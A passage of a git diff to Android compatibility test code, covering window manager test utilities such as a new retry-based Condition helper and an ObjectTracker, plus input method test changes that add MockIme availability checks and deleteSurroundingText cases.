private static final String KEY_CALLBACK_HISTORY = EXTRA_PREFIX + "key_callback_history";
private static final String KEY_CLIENT_ID = EXTRA_PREFIX + "key_client_id";
private static final String KEY_COMMAND = EXTRA_PREFIX + "key_command";
private static final String KEY_CONFIG_INFO = EXTRA_PREFIX + "key_config_info";
- // TODO(b/112837428): Used for LaunchActivityBuilder#launchUsingShellCommand
- private static final String KEY_FORWARD = EXTRA_PREFIX + "key_forward";
private static final String KEY_HOST_ID = EXTRA_PREFIX + "key_host_id";
private static final String KEY_ORIENTATION = EXTRA_PREFIX + "key_orientation";
private static final String KEY_REQUEST_TOKEN = EXTRA_PREFIX + "key_request_id";
@@ -122,7 +120,7 @@
final Bundle sessionInfo = new Bundle(data);
sessionInfo.remove(KEY_FORWARD);
for (String key : sessionInfo.keySet()) {
- if (!key.startsWith(EXTRA_PREFIX)) {
+ if (key != null && !key.startsWith(EXTRA_PREFIX)) {
sessionInfo.remove(key);
}
}
@@ -371,10 +369,6 @@
private final ArrayMap<String, ActivitySession> mSessions = new ArrayMap<>();
private boolean mClosed;
- public ActivitySessionClient() {
- this(getInstrumentation().getContext());
- }
-
public ActivitySessionClient(Context context) {
mContext = context;
mClientId = generateId("testcase", this);
@@ -886,7 +880,7 @@
onCallback(ActivityCallback.ON_MOVED_TO_DISPLAY);
}
- private void onCallback(ActivityCallback callback) {
+ public void onCallback(ActivityCallback callback) {
if (mPrintCallbackLog) {
Log.i(getTag(), callback + " @ "
+ Integer.toHexString(System.identityHashCode(this)));
@@ -934,7 +928,8 @@
ON_CONFIGURATION_CHANGED,
ON_MULTI_WINDOW_MODE_CHANGED,
ON_PICTURE_IN_PICTURE_MODE_CHANGED,
- ON_MOVED_TO_DISPLAY;
+ ON_MOVED_TO_DISPLAY,
+ ON_PICTURE_IN_PICTURE_REQUESTED;
private static final ActivityCallback[] sValues = ActivityCallback.values();
public static final int SIZE = sValues.length;
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/Condition.java b/tests/framework/base/windowmanager/util/src/android/server/wm/Condition.java
new file mode 100644
index 0000000..3680ce3
--- /dev/null
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/Condition.java
@@ -0,0 +1,215 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.server.wm.StateLogger.logAlways;
+import static android.server.wm.StateLogger.logE;
+
+import android.os.SystemClock;
+
+import java.util.concurrent.TimeUnit;
+import java.util.function.BooleanSupplier;
+import java.util.function.Consumer;
+import java.util.function.Predicate;
+import java.util.function.Supplier;
+
+/**
+ * The utility class to wait a condition with customized options.
+ * The default retry policy is 5 times with interval 1 second.
+ *
+ * @param <T> The type of the object to validate.
+ *
+ * <p>Sample:</p>
+ * <pre>
+ * // Simple case.
+ * if (Condition.waitFor("true value", () -> true)) {
+ * println("Success");
+ * }
+ * // Wait for customized result with customized validation.
+ * String result = Condition.waitForResult(new Condition<String>("string comparison")
+ * .setResultSupplier(() -> "Result string")
+ * .setResultValidator(str -> str.equals("Expected string"))
+ * .setRetryIntervalMs(500)
+ * .setRetryLimit(3)
+ * .setOnFailure(str -> println("Failed on " + str)));
+ * </pre>
+ */
+public class Condition<T> {
+ private final String mMessage;
+
+ // TODO(b/112837428): Implement a incremental retry policy to reduce the unnecessary constant
+ // time, currently keep the default as 5*1s because most of the original code uses it, and some
+ // tests might be sensitive to the waiting interval.
+ private long mRetryIntervalMs = TimeUnit.SECONDS.toMillis(1);
+ private int mRetryLimit = 5;
+ private boolean mReturnLastResult;
+
+ /** It decides whether this condition is satisfied. */
+ private BooleanSupplier mSatisfier;
+ /**
+ * It is used when the condition is not a simple boolean expression, such as the caller may want
+ * to get the validated product as the return value.
+ */
+ private Supplier<T> mResultSupplier;
+ /** It validates the result from {@link #mResultSupplier}. */
+ private Predicate<T> mResultValidator;
+ private Consumer<T> mOnFailure;
+ private Runnable mOnRetry;
+ private T mLastResult;
+ private T mValidatedResult;
+
+ /**
+ * When using this constructor, it is expected that the condition will be configured with
+ * {@link #setResultSupplier} and {@link #setResultValidator}.
+ */
+ public Condition(String message) {
+ this(message, null /* satisfier */);
+ }
+
+ /**
+ * Constructs with a simple boolean condition.
+ *
+ * @param message The message to show what is waiting for.
+ * @param satisfier If it returns true, that means the condition is satisfied.
+ */
+ public Condition(String message, BooleanSupplier satisfier) {
+ mMessage = message;
+ mSatisfier = satisfier;
+ }
+
+ /** Set the supplier which provides the result object to validate. */
+ public Condition<T> setResultSupplier(Supplier<T> supplier) {
+ mResultSupplier = supplier;
+ return this;
+ }
+
+ /** Set the validator which tests the object provided by the supplier. */
+ public Condition<T> setResultValidator(Predicate<T> validator) {
+ mResultValidator = validator;
+ return this;
+ }
+
+ /**
+ * If true, when using {@link #waitForResult(Condition)}, the method will return the last result
+ * provided by {@link #mResultSupplier} even it is not valid (by {@link #mResultValidator}).
+ */
+ public Condition<T> setReturnLastResult(boolean returnLastResult) {
+ mReturnLastResult = returnLastResult;
+ return this;
+ }
+
+ /**
+ * Executes the action when the condition does not satisfy within the time limit. The passed
+ * object to the consumer will be the last result from the supplier.
+ */
+ public Condition<T> setOnFailure(Consumer<T> onFailure) {
+ mOnFailure = onFailure;
+ return this;
+ }
+
+ public Condition<T> setOnRetry(Runnable onRetry) {
+ mOnRetry = onRetry;
+ return this;
+ }
+
+ public Condition<T> setRetryIntervalMs(long millis) {
+ mRetryIntervalMs = millis;
+ return this;
+ }
+
+ public Condition<T> setRetryLimit(int limit) {
+ mRetryLimit = limit;
+ return this;
+ }
+
+ /** Build the condition by {@link #mResultSupplier} and {@link #mResultValidator}. */
+ private void prepareSatisfier() {
+ if (mResultSupplier == null || mResultValidator == null) {
+ throw new IllegalArgumentException("No specified condition");
+ }
+
+ mSatisfier = () -> {
+ final T result = mResultSupplier.get();
+ mLastResult = result;
+ if (mResultValidator.test(result)) {
+ mValidatedResult = result;
+ return true;
+ }
+ return false;
+ };
+ }
+
+ /**
+ * @see #waitFor(Condition)
+ * @see #Condition(String, BooleanSupplier)
+ */
+ public static boolean waitFor(String message, BooleanSupplier satisfier) {
+ return waitFor(new Condition<>(message, satisfier));
+ }
+
+ /** @return {@code false} if the condition does not satisfy within the time limit. */
+ public static <T> boolean waitFor(Condition<T> condition) {
+ if (condition.mSatisfier == null) {
+ condition.prepareSatisfier();
+ }
+
+ final long startTime = SystemClock.elapsedRealtime();
+ for (int i = 1; i <= condition.mRetryLimit; i++) {
+ if (condition.mSatisfier.getAsBoolean()) {
+ return true;
+ } else {
+ SystemClock.sleep(condition.mRetryIntervalMs);
+ logAlways("***Waiting for " + condition.mMessage + " ... retry=" + i
+ + " elapsed=" + (SystemClock.elapsedRealtime() - startTime) + "ms");
+ if (condition.mOnRetry != null && i < condition.mRetryLimit) {
+ condition.mOnRetry.run();
+ }
+ }
+ }
+ if (condition.mSatisfier.getAsBoolean()) {
+ return true;
+ }
+
+ if (condition.mOnFailure == null) {
+ logE("Condition is not satisfied: " + condition.mMessage);
+ } else {
+ condition.mOnFailure.accept(condition.mLastResult);
+ }
+ return false;
+ }
+
+ /** @see #waitForResult(Condition) */
+ public static <T> T waitForResult(String message, Consumer<Condition<T>> setup) {
+ final Condition<T> condition = new Condition<>(message);
+ setup.accept(condition);
+ return waitForResult(condition);
+ }
+
+ /**
+ * @return {@code null} if the condition does not satisfy within the time limit or the result
+ * supplier returns {@code null}.
+ */
+ public static <T> T waitForResult(Condition<T> condition) {
+ condition.mLastResult = condition.mValidatedResult = null;
+ condition.prepareSatisfier();
+ waitFor(condition);
+ if (condition.mValidatedResult != null) {
+ return condition.mValidatedResult;
+ }
+ return condition.mReturnLastResult ? condition.mLastResult : null;
+ }
+}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ObjectTracker.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ObjectTracker.java
new file mode 100644
index 0000000..28434cf
--- /dev/null
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ObjectTracker.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import android.os.Build;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.ArrayList;
+import java.util.LinkedList;
+import java.util.function.Consumer;
+
+/** A helper utility to track or manage object after a test method is done. */
+public class ObjectTracker {
+ private static final boolean DEBUG = "eng".equals(Build.TYPE);
+ private LinkedList<AutoCloseable> mAutoCloseables;
+ private LinkedList<ConsumableEntry> mConsumables;
+
+ /** The interface used for tracking whether an object is consumed. */
+ public interface Consumable {
+ boolean isConsumed();
+ }
+
+ private static class ConsumableEntry {
+ @NonNull
+ final Consumable mConsumable;
+ @Nullable
+ final Throwable mStackTrace;
+
+ ConsumableEntry(Consumable consumable, Throwable stackTrace) {
+ mConsumable = consumable;
+ mStackTrace = stackTrace;
+ }
+ }
+
+ /**
+ * If a {@link AutoCloseable} should be closed at the end of test, or it is not important when
+ * to close, then we can use this method to manage the {@link AutoCloseable}. Then the extra
+ * indents of try-with-resource can be eliminated. If the caller want to close the object
+ * manually, it should use {@link ObjectTracker#close} to cancel the management.
+ */
+ public <T extends AutoCloseable> T manage(@NonNull T autoCloseable) {
+ if (mAutoCloseables == null) {
+ mAutoCloseables = new LinkedList<>();
+ }
+ mAutoCloseables.add(autoCloseable);
+ return autoCloseable;
+ }
+
+ /**
+ * Closes the {@link AutoCloseable} and remove from the managed list so it won't be closed twice
+ * when leaving a test method.
+ */
+ public void close(@NonNull AutoCloseable autoCloseable) {
+ if (mAutoCloseables == null) {
+ return;
+ }
+ mAutoCloseables.remove(autoCloseable);
+ try {
+ autoCloseable.close();
+ } catch (Throwable e) {
+ throw new AssertionError("Failed to close " + autoCloseable, e);
+ }
+ }
+
+ /** Tracks the {@link Consumable} to avoid misusing of the object that should do something. */
+ public void track(@NonNull Consumable consumable) {
+ if (mConsumables == null) {
+ mConsumables = new LinkedList<>();
+ }
+ mConsumables.add(new ConsumableEntry(consumable,
+ DEBUG ? new Throwable().fillInStackTrace() : null));
+ }
+
+ /**
+ * Cleans up the managed object and make sure all tracked {@link Consumable} are consumed.
+ * This method must be called after each test method.
+ */
+ public void tearDown(@NonNull Consumer<Throwable> errorConsumer) {
+ ArrayList<Throwable> errors = null;
+ if (mAutoCloseables != null) {
+ while (!mAutoCloseables.isEmpty()) {
+ final AutoCloseable autoCloseable = mAutoCloseables.removeLast();
+ try {
+ autoCloseable.close();
+ } catch (Throwable t) {
+ StateLogger.logE("Failed to close " + autoCloseable, t);
+ if (errors == null) {
+ errors = new ArrayList<>();
+ }
+ errors.add(t);
+ }
+ }
+ }
+
+ if (mConsumables != null) {
+ while (!mConsumables.isEmpty()) {
+ final ConsumableEntry entry = mConsumables.removeFirst();
+ if (!entry.mConsumable.isConsumed()) {
+ StateLogger.logE("Found unconsumed object " + entry.mConsumable
+ + " that was created from:", entry.mStackTrace);
+ final Throwable t =
+ new IllegalStateException("Unconsumed object " + entry.mConsumable);
+ if (entry.mStackTrace != null) {
+ t.initCause(entry.mStackTrace);
+ }
+ if (errors == null) {
+ errors = new ArrayList<>();
+ }
+ errors.add(t);
+ }
+ }
+ }
+
+ if (errors != null) {
+ errors.forEach(errorConsumer);
+ }
+ }
+}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/TestJournalProvider.java b/tests/framework/base/windowmanager/util/src/android/server/wm/TestJournalProvider.java
index b2d92a3..aa3d63f 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/TestJournalProvider.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/TestJournalProvider.java
@@ -274,9 +274,9 @@
* Perform the action which may have thread safety concerns when accessing the fields of
* {@link TestJournal}.
*/
- public static void withThreadSafeAccess(Runnable aciton) {
+ public static void withThreadSafeAccess(Runnable action) {
synchronized (getInstance()) {
- aciton.run();
+ action.run();
}
}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/UiDeviceUtils.java b/tests/framework/base/windowmanager/util/src/android/server/wm/UiDeviceUtils.java
index 5da87dd..03fdf04 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/UiDeviceUtils.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/UiDeviceUtils.java
@@ -23,7 +23,7 @@
import static android.view.KeyEvent.KEYCODE_WAKEUP;
import static android.view.KeyEvent.KEYCODE_WINDOW;
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
import android.app.KeyguardManager;
import android.graphics.Point;
@@ -66,6 +66,10 @@
getDevice().pressEnter();
}
+ /**
+ * Simulates a pressed event of {@link KeyEvent#KEYCODE_HOME}. Note this will stop app switches
+ * for 5s (see android.permission.STOP_APP_SWITCHES).
+ */
public static void pressHomeButton() {
if (DEBUG) Log.d(TAG, "pressHomeButton");
getDevice().pressHome();
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 0ca2748..bfaeb7a 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -18,6 +18,9 @@
import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
import static android.server.wm.ProtoExtractors.extract;
import static android.server.wm.StateLogger.log;
@@ -117,6 +120,7 @@
private List<Display> mDisplays = new ArrayList();
private String mFocusedWindow = null;
private String mFocusedApp = null;
+ private int mFocusedDisplayId = DEFAULT_DISPLAY;
private String mInputMethodWindowAppToken = null;
private Rect mDefaultPinnedStackBounds = new Rect();
private Rect mPinnedStackMovementBounds = new Rect();
@@ -235,6 +239,7 @@
mDisplayFrozen = state.displayFrozen;
mRotation = state.rotation;
mLastOrientation = state.lastOrientation;
+ mFocusedDisplayId = state.focusedDisplayId;
}
static String appStateToString(int appState) {
@@ -445,6 +450,10 @@
return mLastOrientation;
}
+ int getFocusedDisplayId() {
+ return mFocusedDisplayId;
+ }
+
boolean containsStack(int stackId) {
for (WindowStack stack : mStacks) {
if (stackId == stack.mStackId) {
@@ -595,6 +604,7 @@
mPinnedStackMovementBounds.setEmpty();
mRotation = 0;
mLastOrientation = 0;
+ mFocusedDisplayId = DEFAULT_DISPLAY;
mDisplayFrozen = false;
}
@@ -602,7 +612,6 @@
int mStackId;
ArrayList<WindowTask> mTasks = new ArrayList<>();
- boolean mWindowAnimationBackgroundSurfaceShowing;
boolean mAnimatingBounds;
WindowStack(StackProto proto) {
@@ -616,7 +625,6 @@
mTasks.add(task);
mSubWindows.addAll(task.getWindows());
}
- mWindowAnimationBackgroundSurfaceShowing = proto.animationBackgroundSurfaceIsDimming;
mAnimatingBounds = proto.animatingBounds;
}
@@ -628,10 +636,6 @@
}
return null;
}
-
- boolean isWindowAnimationBackgroundSurfaceShowing() {
- return mWindowAnimationBackgroundSurfaceShowing;
- }
}
static class WindowTask extends WindowContainer {
@@ -684,6 +688,18 @@
mMergedOverrideConfiguration.setTo(extract(proto.mergedOverrideConfiguration));
}
+ boolean isWindowingModeCompatible(int requestedWindowingMode) {
+ if (requestedWindowingMode == WINDOWING_MODE_UNDEFINED) {
+ return true;
+ }
+ final int windowingMode = getWindowingMode();
+ if (requestedWindowingMode == WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY) {
+ return windowingMode == WINDOWING_MODE_FULLSCREEN
+ || windowingMode == WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+ }
+ return windowingMode == requestedWindowingMode;
+ }
+
int getWindowingMode() {
if (mFullConfiguration == null) {
return WINDOWING_MODE_UNDEFINED;
@@ -730,6 +746,7 @@
private Rect mDisplayRect = new Rect();
private Rect mAppRect = new Rect();
private int mDpi;
+ private int mFlags;
private Rect mStableBounds;
private String mName;
private int mSurfaceSize;
@@ -755,6 +772,7 @@
mDisplayRect.set(0, 0, infoProto.logicalWidth, infoProto.logicalHeight);
mAppRect.set(0, 0, infoProto.appWidth, infoProto.appHeight);
mName = infoProto.name;
+ mFlags = infoProto.flags;
}
final DisplayFramesProto displayFramesProto = proto.displayFrames;
if (displayFramesProto != null) {
@@ -795,14 +813,18 @@
return mDisplayRect;
}
- Rect getAppRect() {
- return mAppRect;
+ Rect getStableBounds() {
+ return mStableBounds;
}
String getName() {
return mName;
}
+ int getFlags() {
+ return mFlags;
+ }
+
int getSurfaceSize() {
return mSurfaceSize;
}
@@ -818,7 +840,7 @@
@Override
public String toString() {
return "Display #" + mDisplayId + ": name=" + mName + " mDisplayRect=" + mDisplayRect
- + " mAppRect=" + mAppRect;
+ + " mAppRect=" + mAppRect + " mFlags=" + mFlags;
}
}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/annotation/Group1.java b/tests/framework/base/windowmanager/util/src/android/server/wm/annotation/Group1.java
new file mode 100644
index 0000000..ec82108
--- /dev/null
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/annotation/Group1.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.annotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * The group annotations enable to run tests in parallel according to the arguments of test runner.
+ * By default, the test without group annotation are considered to be in this group.
+ */
+@Retention(RetentionPolicy.RUNTIME)
+@Target({ ElementType.METHOD, ElementType.TYPE })
+public @interface Group1 {}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/annotation/Group2.java b/tests/framework/base/windowmanager/util/src/android/server/wm/annotation/Group2.java
new file mode 100644
index 0000000..8b3b29f
--- /dev/null
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/annotation/Group2.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.annotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/** Marks a test to be run in group 2. */
+@Retention(RetentionPolicy.RUNTIME)
+@Target({ ElementType.METHOD, ElementType.TYPE })
+public @interface Group2 {}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/annotation/Group3.java b/tests/framework/base/windowmanager/util/src/android/server/wm/annotation/Group3.java
new file mode 100644
index 0000000..662eaaf
--- /dev/null
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/annotation/Group3.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.annotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/** Marks a test to be run in group 3. */
+@Retention(RetentionPolicy.RUNTIME)
+@Target({ ElementType.METHOD, ElementType.TYPE })
+public @interface Group3 {}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/settings/SettingsSession.java b/tests/framework/base/windowmanager/util/src/android/server/wm/settings/SettingsSession.java
index fa27ee3..710b920 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/settings/SettingsSession.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/settings/SettingsSession.java
@@ -80,10 +80,10 @@
private static final SessionCounters sSessionCounters = new SessionCounters();
protected final Uri mUri;
+ protected final boolean mHasInitialValue;
+ protected final T mInitialValue;
private final SettingsGetter<T> mGetter;
private final SettingsSetter<T> mSetter;
- private final boolean mHasInitialValue;
- private final T mInitialValue;
public SettingsSession(final Uri uri, final SettingsGetter<T> getter,
final SettingsSetter<T> setter) {
@@ -124,7 +124,7 @@
}
@Override
- public void close() throws Exception {
+ public void close() {
if (mHasInitialValue) {
put(mUri, mSetter, mInitialValue);
if (DEBUG) {
@@ -152,7 +152,7 @@
return getter.get(getContentResolver(), uri.getLastPathSegment());
}
- private static void delete(final Uri uri) {
+ protected static void delete(final Uri uri) {
final List<String> segments = uri.getPathSegments();
if (segments.size() != 2) {
Log.w(TAG, "Unsupported uri for deletion: " + uri, new Throwable());
diff --git a/tests/inputmethod/AndroidTest.xml b/tests/inputmethod/AndroidTest.xml
index f64bd17..ce5e679 100644
--- a/tests/inputmethod/AndroidTest.xml
+++ b/tests/inputmethod/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="component" value="inputmethod" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<!--
TODO(yukawa): come up with a proper way to take care of devices that do not support
installable IMEs. Ideally target_preparer should have an option to annotate required
diff --git a/tests/inputmethod/mockime/Android.bp b/tests/inputmethod/mockime/Android.bp
index 7ee21d3..42f057a 100644
--- a/tests/inputmethod/mockime/Android.bp
+++ b/tests/inputmethod/mockime/Android.bp
@@ -34,7 +34,7 @@
optimize: {
enabled: false,
},
- sdk_version: "test_current",
+ sdk_version: "current",
min_sdk_version: "19",
// tag this module as a cts test artifact
test_suites: [
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
index 8ad306b..5e653c6 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
@@ -18,7 +18,7 @@
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
import android.app.UiAutomation;
import android.content.BroadcastReceiver;
@@ -26,6 +26,7 @@
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
+import android.content.pm.PackageManager;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
@@ -40,7 +41,6 @@
import android.view.inputmethod.InputConnection;
import android.view.inputmethod.InputContentInfo;
import android.view.inputmethod.InputMethodManager;
-import android.view.inputmethod.InputMethodSystemProperty;
import androidx.annotation.GuardedBy;
import androidx.annotation.NonNull;
@@ -48,6 +48,8 @@
import com.android.compatibility.common.util.PollingCheck;
+import org.junit.AssumptionViolatedException;
+
import java.io.IOException;
import java.util.concurrent.TimeUnit;
@@ -238,10 +240,10 @@
@NonNull Context context,
@NonNull UiAutomation uiAutomation,
@Nullable ImeSettings.Builder imeSettings) throws Exception {
- // Currently, MockIme doesn't fully support multi-client IME. Skip tests until it does.
- // TODO: Re-enable when MockIme supports multi-client IME.
- assumeFalse("MockIme session doesn't support Multi-Client IME, skip it",
- InputMethodSystemProperty.MULTI_CLIENT_IME_ENABLED);
+ final String unavailabilityReason = getUnavailabilityReason(context);
+ if (unavailabilityReason != null) {
+ throw new AssumptionViolatedException(unavailabilityReason);
+ }
final MockImeSession client = new MockImeSession(context, uiAutomation);
client.initialize(imeSettings);
@@ -249,6 +251,19 @@
}
/**
+ * Checks if the {@link MockIme} can be used in this device.
+ *
+ * @return {@code null} if it can be used, or message describing why if it cannot.
+ */
+ @Nullable
+ public static String getUnavailabilityReason(@NonNull Context context) {
+ if (!context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_INPUT_METHODS)) {
+ return "Device must support installable IMEs that implement InputMethodService API";
+ }
+ return null;
+ }
+
+ /**
* @return {@link ImeEventStream} object that stores events sent from {@link MockIme} since the
* session is created.
*/
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSessionRule.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSessionRule.java
index 041d2b8..3eccac3 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSessionRule.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSessionRule.java
@@ -62,7 +62,12 @@
if (Log.isLoggable(TAG, Log.VERBOSE)) {
Log.v(TAG, "Creating MockImeSession on " + description.getDisplayName());
}
- mMockImeSession = MockImeSession.create(mContext, mUiAutomation, mImeSettings);
+ final String errorMsg = MockImeSession.getUnavailabilityReason(mContext);
+ if (errorMsg != null) {
+ Log.w(TAG, "Mock IME not available: " + errorMsg);
+ } else {
+ mMockImeSession = MockImeSession.create(mContext, mUiAutomation, mImeSettings);
+ }
try {
base.evaluate();
} finally {
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
index 8d9890d..2c3e4fa 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
@@ -21,6 +21,7 @@
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
import android.content.ClipDescription;
import android.net.Uri;
@@ -209,17 +210,38 @@
private static void verifyDeleteSurroundingTextMain(final String initialState,
final int deleteBefore, final int deleteAfter, final String expectedState) {
- final CharSequence source = InputConnectionTestUtils.formatString(initialState);
- final BaseInputConnection ic = createConnectionWithSelection(source);
- ic.deleteSurroundingText(deleteBefore, deleteAfter);
+ verifyDeleteSurroundingTextMain(initialState, deleteBefore, deleteAfter, expectedState,
+ false /* clearSelection */);
+ }
- final CharSequence expectedString = InputConnectionTestUtils.formatString(expectedState);
+ private static void verifyDeleteSurroundingTextMain(final String initialState,
+ final int deleteBefore, final int deleteAfter, final String expectedState,
+ final boolean clearSelection) {
+ final CharSequence source = clearSelection ? initialState
+ : InputConnectionTestUtils.formatString(initialState);
+ final BaseInputConnection ic = createConnectionWithSelection(source);
+
+ if (clearSelection) {
+ Selection.removeSelection(ic.getEditable());
+ }
+
+ final boolean result = ic.deleteSurroundingText(deleteBefore, deleteAfter);
+
+ final CharSequence expectedString = clearSelection ? expectedState
+ : InputConnectionTestUtils.formatString(expectedState);
final int expectedSelectionStart = Selection.getSelectionStart(expectedString);
final int expectedSelectionEnd = Selection.getSelectionEnd(expectedString);
// It is sufficient to check the surrounding text up to source.length() characters, because
// InputConnection.deleteSurroundingText() is not supposed to increase the text length.
final int retrievalLength = source.length();
+ if (!result) {
+ assertEquals(expectedState, ic.getEditable().toString());
+ return;
+ } else if (clearSelection) {
+ fail("deleteSurroundingText should return false for invalid selection");
+ }
+
if (expectedSelectionStart == 0) {
assertTrue(TextUtils.isEmpty(ic.getTextBeforeCursor(retrievalLength, 0)));
} else {
@@ -246,6 +268,8 @@
*/
@Test
public void testDeleteSurroundingText() {
+ verifyDeleteSurroundingTextMain("0123456789", 1, 2, "0123456789",
+ true /* clearSelection*/);
verifyDeleteSurroundingTextMain("012[]3456789", 0, 0, "012[]3456789");
verifyDeleteSurroundingTextMain("012[]3456789", -1, -1, "012[]3456789");
verifyDeleteSurroundingTextMain("012[]3456789", 1, 2, "01[]56789");
diff --git a/tests/leanbackjank/AndroidTest.xml b/tests/leanbackjank/AndroidTest.xml
index c192fdb..2dc04e0 100644
